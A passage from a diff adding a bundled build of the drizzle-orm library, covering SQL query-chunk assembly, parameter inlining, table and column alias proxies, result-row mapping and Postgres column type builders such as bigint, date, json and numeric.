escapeName(chunk._.alias), params: [] }; + } + return this.buildQueryFromSourceParams([ + new StringChunk("("), + chunk._.sql, + new StringChunk(") "), + new Name(chunk._.alias) + ], config2); + } + if (isPgEnum(chunk)) { + if (chunk.schema) { + return { sql: escapeName(chunk.schema) + "." + escapeName(chunk.enumName), params: [] }; + } + return { sql: escapeName(chunk.enumName), params: [] }; + } + if (isSQLWrapper(chunk)) { + if (chunk.shouldOmitSQLParens?.()) { + return this.buildQueryFromSourceParams([chunk.getSQL()], config2); + } + return this.buildQueryFromSourceParams([ + new StringChunk("("), + chunk.getSQL(), + new StringChunk(")") + ], config2); + } + if (inlineParams) { + return { sql: this.mapInlineParam(chunk, config2), params: [] }; + } + return { sql: escapeParam(paramStartIndex.value++, chunk), params: [chunk], typings: ["none"] }; + })); + } + mapInlineParam(chunk, { escapeString }) { + if (chunk === null) { + return "null"; + } + if (typeof chunk === "number" || typeof chunk === "boolean") { + return chunk.toString(); + } + if (typeof chunk === "string") { + return escapeString(chunk); + } + if (typeof chunk === "object") { + const mappedValueAsString = chunk.toString(); + if (mappedValueAsString === "[object Object]") { + return escapeString(JSON.stringify(chunk)); + } + return escapeString(mappedValueAsString); + } + throw new Error("Unexpected param value: " + chunk); + } + getSQL() { + return this; + } + as(alias) { + if (alias === void 0) { + return this; + } + return new _SQL.Aliased(this, alias); + } + mapWith(decoder2) { + this.decoder = typeof decoder2 === "function" ? { mapFromDriverValue: decoder2 } : decoder2; + return this; + } + inlineParams() { + this.shouldInlineParams = true; + return this; + } + /** + * This method is used to conditionally include a part of the query. + * + * @param condition - Condition to check + * @returns itself if the condition is `true`, otherwise `undefined` + */ + if(condition) { + return condition ? this : void 0; + } +}; +var Name = class { + constructor(value) { + this.value = value; + } + static [entityKind] = "Name"; + brand; + getSQL() { + return new SQL([this]); + } +}; +function isDriverValueEncoder(value) { + return typeof value === "object" && value !== null && "mapToDriverValue" in value && typeof value.mapToDriverValue === "function"; +} +var noopDecoder = { + mapFromDriverValue: (value) => value +}; +var noopEncoder = { + mapToDriverValue: (value) => value +}; +var noopMapper = { + ...noopDecoder, + ...noopEncoder +}; +var Param = class { + /** + * @param value - Parameter value + * @param encoder - Encoder to convert the value to a driver parameter + */ + constructor(value, encoder2 = noopEncoder) { + this.value = value; + this.encoder = encoder2; + } + static [entityKind] = "Param"; + brand; + getSQL() { + return new SQL([this]); + } +}; +function sql(strings, ...params) { + const queryChunks = []; + if (params.length > 0 || strings.length > 0 && strings[0] !== "") { + queryChunks.push(new StringChunk(strings[0])); + } + for (const [paramIndex, param2] of params.entries()) { + queryChunks.push(param2, new StringChunk(strings[paramIndex + 1])); + } + return new SQL(queryChunks); +} +((sql22) => { + function empty() { + return new SQL([]); + } + sql22.empty = empty; + function fromList(list) { + return new SQL(list); + } + sql22.fromList = fromList; + function raw(str) { + return new SQL([new StringChunk(str)]); + } + sql22.raw = raw; + function join(chunks2, separator) { + const result = []; + for (const [i, chunk] of chunks2.entries()) { + if (i > 0 && separator !== void 0) { + result.push(separator); + } + result.push(chunk); + } + return new SQL(result); + } + sql22.join = join; + function identifier(value) { + return new Name(value); + } + sql22.identifier = identifier; + function placeholder2(name2) { + return new Placeholder(name2); + } + sql22.placeholder = placeholder2; + function param2(value, encoder2) { + return new Param(value, encoder2); + } + sql22.param = param2; +})(sql || (sql = {})); +((SQL2) => { + class Aliased { + constructor(sql22, fieldAlias) { + this.sql = sql22; + this.fieldAlias = fieldAlias; + } + static [entityKind] = "SQL.Aliased"; + /** @internal */ + isSelectionField = false; + getSQL() { + return this.sql; + } + /** @internal */ + clone() { + return new Aliased(this.sql, this.fieldAlias); + } + } + SQL2.Aliased = Aliased; +})(SQL || (SQL = {})); +var Placeholder = class { + constructor(name2) { + this.name = name2; + } + static [entityKind] = "Placeholder"; + getSQL() { + return new SQL([this]); + } +}; +function fillPlaceholders(params, values2) { + return params.map((p) => { + if (is(p, Placeholder)) { + if (!(p.name in values2)) { + throw new Error(`No value for placeholder "${p.name}" was provided`); + } + return values2[p.name]; + } + if (is(p, Param) && is(p.value, Placeholder)) { + if (!(p.value.name in values2)) { + throw new Error(`No value for placeholder "${p.value.name}" was provided`); + } + return p.encoder.mapToDriverValue(values2[p.value.name]); + } + return p; + }); +} +var IsDrizzleView = Symbol.for("drizzle:IsDrizzleView"); +var View = class { + static [entityKind] = "View"; + /** @internal */ + [ViewBaseConfig]; + /** @internal */ + [IsDrizzleView] = true; + constructor({ name: name2, schema, selectedFields, query }) { + this[ViewBaseConfig] = { + name: name2, + originalName: name2, + schema, + selectedFields, + query, + isExisting: !query, + isAlias: false + }; + } + getSQL() { + return new SQL([this]); + } +}; +Column.prototype.getSQL = function() { + return new SQL([this]); +}; +Table.prototype.getSQL = function() { + return new SQL([this]); +}; +Subquery.prototype.getSQL = function() { + return new SQL([this]); +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/alias.js +var ColumnAliasProxyHandler = class { + constructor(table2) { + this.table = table2; + } + static [entityKind] = "ColumnAliasProxyHandler"; + get(columnObj, prop) { + if (prop === "table") { + return this.table; + } + return columnObj[prop]; + } +}; +var TableAliasProxyHandler = class { + constructor(alias, replaceOriginalName) { + this.alias = alias; + this.replaceOriginalName = replaceOriginalName; + } + static [entityKind] = "TableAliasProxyHandler"; + get(target, prop) { + if (prop === Table.Symbol.IsAlias) { + return true; + } + if (prop === Table.Symbol.Name) { + return this.alias; + } + if (this.replaceOriginalName && prop === Table.Symbol.OriginalName) { + return this.alias; + } + if (prop === ViewBaseConfig) { + return { + ...target[ViewBaseConfig], + name: this.alias, + isAlias: true + }; + } + if (prop === Table.Symbol.Columns) { + const columns = target[Table.Symbol.Columns]; + if (!columns) { + return columns; + } + const proxiedColumns = {}; + Object.keys(columns).map((key) => { + proxiedColumns[key] = new Proxy( + columns[key], + new ColumnAliasProxyHandler(new Proxy(target, this)) + ); + }); + return proxiedColumns; + } + const value = target[prop]; + if (is(value, Column)) { + return new Proxy(value, new ColumnAliasProxyHandler(new Proxy(target, this))); + } + return value; + } +}; +var RelationTableAliasProxyHandler = class { + constructor(alias) { + this.alias = alias; + } + static [entityKind] = "RelationTableAliasProxyHandler"; + get(target, prop) { + if (prop === "sourceTable") { + return aliasedTable(target.sourceTable, this.alias); + } + return target[prop]; + } +}; +function aliasedTable(table2, tableAlias) { + return new Proxy(table2, new TableAliasProxyHandler(tableAlias, false)); +} +function aliasedTableColumn(column, tableAlias) { + return new Proxy( + column, + new ColumnAliasProxyHandler(new Proxy(column.table, new TableAliasProxyHandler(tableAlias, false))) + ); +} +function mapColumnsInAliasedSQLToAlias(query, alias) { + return new SQL.Aliased(mapColumnsInSQLToAlias(query.sql, alias), query.fieldAlias); +} +function mapColumnsInSQLToAlias(query, alias) { + return sql.join(query.queryChunks.map((c) => { + if (is(c, Column)) { + return aliasedTableColumn(c, alias); + } + if (is(c, SQL)) { + return mapColumnsInSQLToAlias(c, alias); + } + if (is(c, SQL.Aliased)) { + return mapColumnsInAliasedSQLToAlias(c, alias); + } + return c; + })); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/selection-proxy.js +var SelectionProxyHandler = class _SelectionProxyHandler { + static [entityKind] = "SelectionProxyHandler"; + config; + constructor(config2) { + this.config = { ...config2 }; + } + get(subquery, prop) { + if (prop === "_") { + return { + ...subquery["_"], + selectedFields: new Proxy( + subquery._.selectedFields, + this + ) + }; + } + if (prop === ViewBaseConfig) { + return { + ...subquery[ViewBaseConfig], + selectedFields: new Proxy( + subquery[ViewBaseConfig].selectedFields, + this + ) + }; + } + if (typeof prop === "symbol") { + return subquery[prop]; + } + const columns = is(subquery, Subquery) ? subquery._.selectedFields : is(subquery, View) ? subquery[ViewBaseConfig].selectedFields : subquery; + const value = columns[prop]; + if (is(value, SQL.Aliased)) { + if (this.config.sqlAliasedBehavior === "sql" && !value.isSelectionField) { + return value.sql; + } + const newValue = value.clone(); + newValue.isSelectionField = true; + return newValue; + } + if (is(value, SQL)) { + if (this.config.sqlBehavior === "sql") { + return value; + } + throw new Error( + `You tried to reference "${prop}" field from a subquery, which is a raw SQL field, but it doesn't have an alias declared. Please add an alias to the field using ".as('alias')" method.` + ); + } + if (is(value, Column)) { + if (this.config.alias) { + return new Proxy( + value, + new ColumnAliasProxyHandler( + new Proxy( + value.table, + new TableAliasProxyHandler(this.config.alias, this.config.replaceOriginalName ?? false) + ) + ) + ); + } + return value; + } + if (typeof value !== "object" || value === null) { + return value; + } + return new Proxy(value, new _SelectionProxyHandler(this.config)); + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/utils.js +function mapResultRow(columns, row, joinsNotNullableMap) { + const nullifyMap = {}; + const result = columns.reduce( + (result2, { path, field }, columnIndex) => { + let decoder2; + if (is(field, Column)) { + decoder2 = field; + } else if (is(field, SQL)) { + decoder2 = field.decoder; + } else if (is(field, Subquery)) { + decoder2 = field._.sql.decoder; + } else { + decoder2 = field.sql.decoder; + } + let node = result2; + for (const [pathChunkIndex, pathChunk] of path.entries()) { + if (pathChunkIndex < path.length - 1) { + if (!(pathChunk in node)) { + node[pathChunk] = {}; + } + node = node[pathChunk]; + } else { + const rawValue = row[columnIndex]; + const value = node[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); + if (joinsNotNullableMap && is(field, Column) && path.length === 2) { + const objectName = path[0]; + if (!(objectName in nullifyMap)) { + nullifyMap[objectName] = value === null ? getTableName(field.table) : false; + } else if (typeof nullifyMap[objectName] === "string" && nullifyMap[objectName] !== getTableName(field.table)) { + nullifyMap[objectName] = false; + } + } + } + } + return result2; + }, + {} + ); + if (joinsNotNullableMap && Object.keys(nullifyMap).length > 0) { + for (const [objectName, tableName] of Object.entries(nullifyMap)) { + if (typeof tableName === "string" && !joinsNotNullableMap[tableName]) { + result[objectName] = null; + } + } + } + return result; +} +function orderSelectedFields(fields, pathPrefix) { + return Object.entries(fields).reduce((result, [name, field]) => { + if (typeof name !== "string") { + return result; + } + const newPath = pathPrefix ? [...pathPrefix, name] : [name]; + if (is(field, Column) || is(field, SQL) || is(field, SQL.Aliased) || is(field, Subquery)) { + result.push({ path: newPath, field }); + } else if (is(field, Table)) { + result.push(...orderSelectedFields(field[Table.Symbol.Columns], newPath)); + } else { + result.push(...orderSelectedFields(field, newPath)); + } + return result; + }, []); +} +function haveSameKeys(left, right) { + const leftKeys = Object.keys(left); + const rightKeys = Object.keys(right); + if (leftKeys.length !== rightKeys.length) { + return false; + } + for (const [index2, key] of leftKeys.entries()) { + if (key !== rightKeys[index2]) { + return false; + } + } + return true; +} +function mapUpdateSet(table2, values2) { + const entries = Object.entries(values2).filter(([, value]) => value !== void 0).map(([key, value]) => { + if (is(value, SQL) || is(value, Column)) { + return [key, value]; + } else { + return [key, new Param(value, table2[Table.Symbol.Columns][key])]; + } + }); + if (entries.length === 0) { + throw new Error("No values to set"); + } + return Object.fromEntries(entries); +} +function applyMixins(baseClass, extendedClasses) { + for (const extendedClass of extendedClasses) { + for (const name of Object.getOwnPropertyNames(extendedClass.prototype)) { + if (name === "constructor") continue; + Object.defineProperty( + baseClass.prototype, + name, + Object.getOwnPropertyDescriptor(extendedClass.prototype, name) || /* @__PURE__ */ Object.create(null) + ); + } + } +} +function getTableColumns(table2) { + return table2[Table.Symbol.Columns]; +} +function getTableLikeName(table2) { + return is(table2, Subquery) ? table2._.alias : is(table2, View) ? table2[ViewBaseConfig].name : is(table2, SQL) ? void 0 : table2[Table.Symbol.IsAlias] ? table2[Table.Symbol.Name] : table2[Table.Symbol.BaseName]; +} +function getColumnNameAndConfig(a, b2) { + return { + name: typeof a === "string" && a.length > 0 ? a : "", + config: typeof a === "object" ? a : b2 + }; +} +function isConfig(data) { + if (typeof data !== "object" || data === null) return false; + if (data.constructor.name !== "Object") return false; + if ("logger" in data) { + const type = typeof data["logger"]; + if (type !== "boolean" && (type !== "object" || typeof data["logger"]["logQuery"] !== "function") && type !== "undefined") return false; + return true; + } + if ("schema" in data) { + const type = typeof data["schema"]; + if (type !== "object" && type !== "undefined") return false; + return true; + } + if ("casing" in data) { + const type = typeof data["casing"]; + if (type !== "string" && type !== "undefined") return false; + return true; + } + if ("mode" in data) { + if (data["mode"] !== "default" || data["mode"] !== "planetscale" || data["mode"] !== void 0) return false; + return true; + } + if ("connection" in data) { + const type = typeof data["connection"]; + if (type !== "string" && type !== "object" && type !== "undefined") return false; + return true; + } + if ("client" in data) { + const type = typeof data["client"]; + if (type !== "object" && type !== "function" && type !== "undefined") return false; + return true; + } + if (Object.keys(data).length === 0) return true; + return false; +} +var textDecoder = typeof TextDecoder === "undefined" ? null : new TextDecoder(); + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/int.common.js +var PgIntColumnBaseBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgIntColumnBaseBuilder"; + generatedAlwaysAsIdentity(sequence) { + if (sequence) { + const { name, ...options } = sequence; + this.config.generatedIdentity = { + type: "always", + sequenceName: name, + sequenceOptions: options + }; + } else { + this.config.generatedIdentity = { + type: "always" + }; + } + this.config.hasDefault = true; + this.config.notNull = true; + return this; + } + generatedByDefaultAsIdentity(sequence) { + if (sequence) { + const { name, ...options } = sequence; + this.config.generatedIdentity = { + type: "byDefault", + sequenceName: name, + sequenceOptions: options + }; + } else { + this.config.generatedIdentity = { + type: "byDefault" + }; + } + this.config.hasDefault = true; + this.config.notNull = true; + return this; + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/bigint.js +var PgBigInt53Builder = class extends PgIntColumnBaseBuilder { + static [entityKind] = "PgBigInt53Builder"; + constructor(name) { + super(name, "number", "PgBigInt53"); + } + /** @internal */ + build(table2) { + return new PgBigInt53(table2, this.config); + } +}; +var PgBigInt53 = class extends PgColumn { + static [entityKind] = "PgBigInt53"; + getSQLType() { + return "bigint"; + } + mapFromDriverValue(value) { + if (typeof value === "number") { + return value; + } + return Number(value); + } +}; +var PgBigInt64Builder = class extends PgIntColumnBaseBuilder { + static [entityKind] = "PgBigInt64Builder"; + constructor(name) { + super(name, "bigint", "PgBigInt64"); + } + /** @internal */ + build(table2) { + return new PgBigInt64( + table2, + this.config + ); + } +}; +var PgBigInt64 = class extends PgColumn { + static [entityKind] = "PgBigInt64"; + getSQLType() { + return "bigint"; + } + // eslint-disable-next-line unicorn/prefer-native-coercion-functions + mapFromDriverValue(value) { + return BigInt(value); + } +}; +function bigint4(a, b2) { + const { name, config: config2 } = getColumnNameAndConfig(a, b2); + if (config2.mode === "number") { + return new PgBigInt53Builder(name); + } + return new PgBigInt64Builder(name); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/bigserial.js +var PgBigSerial53Builder = class extends PgColumnBuilder { + static [entityKind] = "PgBigSerial53Builder"; + constructor(name) { + super(name, "number", "PgBigSerial53"); + this.config.hasDefault = true; + this.config.notNull = true; + } + /** @internal */ + build(table2) { + return new PgBigSerial53( + table2, + this.config + ); + } +}; +var PgBigSerial53 = class extends PgColumn { + static [entityKind] = "PgBigSerial53"; + getSQLType() { + return "bigserial"; + } + mapFromDriverValue(value) { + if (typeof value === "number") { + return value; + } + return Number(value); + } +}; +var PgBigSerial64Builder = class extends PgColumnBuilder { + static [entityKind] = "PgBigSerial64Builder"; + constructor(name) { + super(name, "bigint", "PgBigSerial64"); + this.config.hasDefault = true; + } + /** @internal */ + build(table2) { + return new PgBigSerial64( + table2, + this.config + ); + } +}; +var PgBigSerial64 = class extends PgColumn { + static [entityKind] = "PgBigSerial64"; + getSQLType() { + return "bigserial"; + } + // eslint-disable-next-line unicorn/prefer-native-coercion-functions + mapFromDriverValue(value) { + return BigInt(value); + } +}; +function bigserial(a, b2) { + const { name, config: config2 } = getColumnNameAndConfig(a, b2); + if (config2.mode === "number") { + return new PgBigSerial53Builder(name); + } + return new PgBigSerial64Builder(name); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/boolean.js +var PgBooleanBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgBooleanBuilder"; + constructor(name) { + super(name, "boolean", "PgBoolean"); + } + /** @internal */ + build(table2) { + return new PgBoolean(table2, this.config); + } +}; +var PgBoolean = class extends PgColumn { + static [entityKind] = "PgBoolean"; + getSQLType() { + return "boolean"; + } +}; +function boolean4(name) { + return new PgBooleanBuilder(name ?? ""); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/char.js +var PgCharBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgCharBuilder"; + constructor(name, config2) { + super(name, "string", "PgChar"); + this.config.length = config2.length; + this.config.enumValues = config2.enum; + } + /** @internal */ + build(table2) { + return new PgChar( + table2, + this.config + ); + } +}; +var PgChar = class extends PgColumn { + static [entityKind] = "PgChar"; + length = this.config.length; + enumValues = this.config.enumValues; + getSQLType() { + return this.length === void 0 ? `char` : `char(${this.length})`; + } +}; +function char(a, b2 = {}) { + const { name, config: config2 } = getColumnNameAndConfig(a, b2); + return new PgCharBuilder(name, config2); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/cidr.js +var PgCidrBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgCidrBuilder"; + constructor(name) { + super(name, "string", "PgCidr"); + } + /** @internal */ + build(table2) { + return new PgCidr(table2, this.config); + } +}; +var PgCidr = class extends PgColumn { + static [entityKind] = "PgCidr"; + getSQLType() { + return "cidr"; + } +}; +function cidr(name) { + return new PgCidrBuilder(name ?? ""); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/custom.js +var PgCustomColumnBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgCustomColumnBuilder"; + constructor(name, fieldConfig, customTypeParams) { + super(name, "custom", "PgCustomColumn"); + this.config.fieldConfig = fieldConfig; + this.config.customTypeParams = customTypeParams; + } + /** @internal */ + build(table2) { + return new PgCustomColumn( + table2, + this.config + ); + } +}; +var PgCustomColumn = class extends PgColumn { + static [entityKind] = "PgCustomColumn"; + sqlName; + mapTo; + mapFrom; + constructor(table2, config2) { + super(table2, config2); + this.sqlName = config2.customTypeParams.dataType(config2.fieldConfig); + this.mapTo = config2.customTypeParams.toDriver; + this.mapFrom = config2.customTypeParams.fromDriver; + } + getSQLType() { + return this.sqlName; + } + mapFromDriverValue(value) { + return typeof this.mapFrom === "function" ? this.mapFrom(value) : value; + } + mapToDriverValue(value) { + return typeof this.mapTo === "function" ? this.mapTo(value) : value; + } +}; +function customType(customTypeParams) { + return (a, b2) => { + const { name, config: config2 } = getColumnNameAndConfig(a, b2); + return new PgCustomColumnBuilder(name, config2, customTypeParams); + }; +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/date.common.js +var PgDateColumnBaseBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgDateColumnBaseBuilder"; + defaultNow() { + return this.default(sql`now()`); + } +}; + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/date.js +var PgDateBuilder = class extends PgDateColumnBaseBuilder { + static [entityKind] = "PgDateBuilder"; + constructor(name) { + super(name, "date", "PgDate"); + } + /** @internal */ + build(table2) { + return new PgDate(table2, this.config); + } +}; +var PgDate = class extends PgColumn { + static [entityKind] = "PgDate"; + getSQLType() { + return "date"; + } + mapFromDriverValue(value) { + if (typeof value === "string") return new Date(value); + return value; + } + mapToDriverValue(value) { + return value.toISOString(); + } +}; +var PgDateStringBuilder = class extends PgDateColumnBaseBuilder { + static [entityKind] = "PgDateStringBuilder"; + constructor(name) { + super(name, "string", "PgDateString"); + } + /** @internal */ + build(table2) { + return new PgDateString( + table2, + this.config + ); + } +}; +var PgDateString = class extends PgColumn { + static [entityKind] = "PgDateString"; + getSQLType() { + return "date"; + } + mapFromDriverValue(value) { + if (typeof value === "string") return value; + return value.toISOString().slice(0, -14); + } +}; +function date5(a, b2) { + const { name, config: config2 } = getColumnNameAndConfig(a, b2); + if (config2?.mode === "date") { + return new PgDateBuilder(name); + } + return new PgDateStringBuilder(name); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/double-precision.js +var PgDoublePrecisionBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgDoublePrecisionBuilder"; + constructor(name) { + super(name, "number", "PgDoublePrecision"); + } + /** @internal */ + build(table2) { + return new PgDoublePrecision( + table2, + this.config + ); + } +}; +var PgDoublePrecision = class extends PgColumn { + static [entityKind] = "PgDoublePrecision"; + getSQLType() { + return "double precision"; + } + mapFromDriverValue(value) { + if (typeof value === "string") { + return Number.parseFloat(value); + } + return value; + } +}; +function doublePrecision(name) { + return new PgDoublePrecisionBuilder(name ?? ""); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/inet.js +var PgInetBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgInetBuilder"; + constructor(name) { + super(name, "string", "PgInet"); + } + /** @internal */ + build(table2) { + return new PgInet(table2, this.config); + } +}; +var PgInet = class extends PgColumn { + static [entityKind] = "PgInet"; + getSQLType() { + return "inet"; + } +}; +function inet(name) { + return new PgInetBuilder(name ?? ""); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/integer.js +var PgIntegerBuilder = class extends PgIntColumnBaseBuilder { + static [entityKind] = "PgIntegerBuilder"; + constructor(name) { + super(name, "number", "PgInteger"); + } + /** @internal */ + build(table2) { + return new PgInteger(table2, this.config); + } +}; +var PgInteger = class extends PgColumn { + static [entityKind] = "PgInteger"; + getSQLType() { + return "integer"; + } + mapFromDriverValue(value) { + if (typeof value === "string") { + return Number.parseInt(value); + } + return value; + } +}; +function integer2(name) { + return new PgIntegerBuilder(name ?? ""); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/interval.js +var PgIntervalBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgIntervalBuilder"; + constructor(name, intervalConfig) { + super(name, "string", "PgInterval"); + this.config.intervalConfig = intervalConfig; + } + /** @internal */ + build(table2) { + return new PgInterval(table2, this.config); + } +}; +var PgInterval = class extends PgColumn { + static [entityKind] = "PgInterval"; + fields = this.config.intervalConfig.fields; + precision = this.config.intervalConfig.precision; + getSQLType() { + const fields = this.fields ? ` ${this.fields}` : ""; + const precision = this.precision ? `(${this.precision})` : ""; + return `interval${fields}${precision}`; + } +}; +function interval(a, b2 = {}) { + const { name, config: config2 } = getColumnNameAndConfig(a, b2); + return new PgIntervalBuilder(name, config2); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/json.js +var PgJsonBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgJsonBuilder"; + constructor(name) { + super(name, "json", "PgJson"); + } + /** @internal */ + build(table2) { + return new PgJson(table2, this.config); + } +}; +var PgJson = class extends PgColumn { + static [entityKind] = "PgJson"; + constructor(table2, config2) { + super(table2, config2); + } + getSQLType() { + return "json"; + } + mapToDriverValue(value) { + return JSON.stringify(value); + } + mapFromDriverValue(value) { + if (typeof value === "string") { + try { + return JSON.parse(value); + } catch { + return value; + } + } + return value; + } +}; +function json2(name) { + return new PgJsonBuilder(name ?? ""); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/jsonb.js +var PgJsonbBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgJsonbBuilder"; + constructor(name) { + super(name, "json", "PgJsonb"); + } + /** @internal */ + build(table2) { + return new PgJsonb(table2, this.config); + } +}; +var PgJsonb = class extends PgColumn { + static [entityKind] = "PgJsonb"; + constructor(table2, config2) { + super(table2, config2); + } + getSQLType() { + return "jsonb"; + } + mapToDriverValue(value) { + return JSON.stringify(value); + } + mapFromDriverValue(value) { + if (typeof value === "string") { + try { + return JSON.parse(value); + } catch { + return value; + } + } + return value; + } +}; +function jsonb(name) { + return new PgJsonbBuilder(name ?? ""); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/line.js +var PgLineBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgLineBuilder"; + constructor(name) { + super(name, "array", "PgLine"); + } + /** @internal */ + build(table2) { + return new PgLineTuple( + table2, + this.config + ); + } +}; +var PgLineTuple = class extends PgColumn { + static [entityKind] = "PgLine"; + getSQLType() { + return "line"; + } + mapFromDriverValue(value) { + const [a, b2, c] = value.slice(1, -1).split(","); + return [Number.parseFloat(a), Number.parseFloat(b2), Number.parseFloat(c)]; + } + mapToDriverValue(value) { + return `{${value[0]},${value[1]},${value[2]}}`; + } +}; +var PgLineABCBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgLineABCBuilder"; + constructor(name) { + super(name, "json", "PgLineABC"); + } + /** @internal */ + build(table2) { + return new PgLineABC( + table2, + this.config + ); + } +}; +var PgLineABC = class extends PgColumn { + static [entityKind] = "PgLineABC"; + getSQLType() { + return "line"; + } + mapFromDriverValue(value) { + const [a, b2, c] = value.slice(1, -1).split(","); + return { a: Number.parseFloat(a), b: Number.parseFloat(b2), c: Number.parseFloat(c) }; + } + mapToDriverValue(value) { + return `{${value.a},${value.b},${value.c}}`; + } +}; +function line(a, b2) { + const { name, config: config2 } = getColumnNameAndConfig(a, b2); + if (!config2?.mode || config2.mode === "tuple") { + return new PgLineBuilder(name); + } + return new PgLineABCBuilder(name); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/macaddr.js +var PgMacaddrBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgMacaddrBuilder"; + constructor(name) { + super(name, "string", "PgMacaddr"); + } + /** @internal */ + build(table2) { + return new PgMacaddr(table2, this.config); + } +}; +var PgMacaddr = class extends PgColumn { + static [entityKind] = "PgMacaddr"; + getSQLType() { + return "macaddr"; + } +}; +function macaddr(name) { + return new PgMacaddrBuilder(name ?? ""); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/macaddr8.js +var PgMacaddr8Builder = class extends PgColumnBuilder { + static [entityKind] = "PgMacaddr8Builder"; + constructor(name) { + super(name, "string", "PgMacaddr8"); + } + /** @internal */ + build(table2) { + return new PgMacaddr8(table2, this.config); + } +}; +var PgMacaddr8 = class extends PgColumn { + static [entityKind] = "PgMacaddr8"; + getSQLType() { + return "macaddr8"; + } +}; +function macaddr8(name) { + return new PgMacaddr8Builder(name ?? ""); +} + +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/columns/numeric.js +var PgNumericBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgNumericBuilder"; + constructor(name, precision, scale) { + super(name, "string", "PgNumeric"); + this.config.precision = precision; + this.config.scale = scale; + } + /** @internal */ + build(table2) { + return new PgNumeric(table2, this.config); + } +}; +var PgNumeric = class extends PgColumn { + static [entityKind] = "PgNumeric"; + precision; + scale; + constructor(table2, config2) { + super(table2, config2); + this.precision = config2.precision; + this.scale = config2.scale; + } + mapFromDriverValue(value) { + if (typeof value === "string") return value; + return String(value); + } + getSQLType() { + if (this.precision !== void 0 && this.scale !== void 0) { + return `numeric(${this.precision}, ${this.scale})`; + } else if (this.precision === void 0) { + return "numeric"; + } else { + return `numeric(${this.precision})`; + } + } +}; +var PgNumericNumberBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgNumericNumberBuilder"; + constructor(name, precision, scale) { + super(name, "number", "PgNumericNumber"); + this.config.precision = precision; + this.config.scale = scale; + } + /** @internal */ + build(table2) { + return new PgNumericNumber( + table2, + this.config + ); + } +}; +var PgNumericNumber = class extends PgColumn { + static [entityKind] = "PgNumericNumber"; + precision; + scale; + constructor(table2, config2) { + super(table2, config2); + this.precision = config2.precision; + this.scale = config2.scale; + } + mapFromDriverValue(value) { + if (typeof value === "number") return value; + return Number(value); + } + mapToDriverValue = String; + getSQLType() { + if (this.precision !== void 0 && this.scale !== void 0) { + return `numeric(${this.precision}, ${this.scale})`; + } else if (this.precision === void 0) { + return "numeric"; + } else { + return `numeric(${this.precision})`; + } + } +}; +var PgNumericBigIntBuilder = class extends PgColumnBuilder { + static [entityKind] = "PgNumericBigIntBuilder"; + constructor(name, precision, scale) { + super(name, "bigint", "PgNumericBigInt"); + this.config.precision = precision; + 